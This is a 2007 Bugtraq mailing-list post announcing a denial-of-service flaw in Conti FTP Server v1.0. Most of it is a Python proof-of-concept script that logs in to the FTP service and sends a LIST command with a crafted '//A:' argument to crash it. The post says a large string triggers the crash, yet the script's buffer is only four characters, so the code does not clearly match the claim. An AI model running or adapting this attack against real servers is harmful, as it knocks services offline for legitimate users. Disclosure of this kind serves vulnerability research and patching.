bugtraq - Conti FTP Server v1.0 DoS

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Date: Wed, 27 Jun 2007 03:24:16 +0000
From: <esc6@...h.com>
To: <bugtraq@...urityfocus.com>
Cc: 
Subject: Conti FTP Server v1.0 DoS

#Conti FTP Server v1.0 Denial of Service
#author: 35c666
#contact: :(
#Download: 
http://www.procesualitatea.ro/bestplay/Conti_FtpServer_Setup.exe
#Bug: Conti Ftp Server crashes when a large //A: string is sent, 
denying legitimate users access to their accounts.
#greetz to all  RST members at http://rstzone.net

# usr/bin/python

import socket
import time

buff = "//A:"

user = "test"
password = "test"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("172.16.112.129",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER %s\r\n' % user)
   print "Client -> USER " + user
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS %s\r\n' % password)
   print "Client -> PASS " + password
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('LIST %s\r\n' % buff)
   print "Client -> LIST " + buff
   d = s.recv(1024)
   print d
   time.sleep(2)

except:
   print "- Nu m-am putut conecta."

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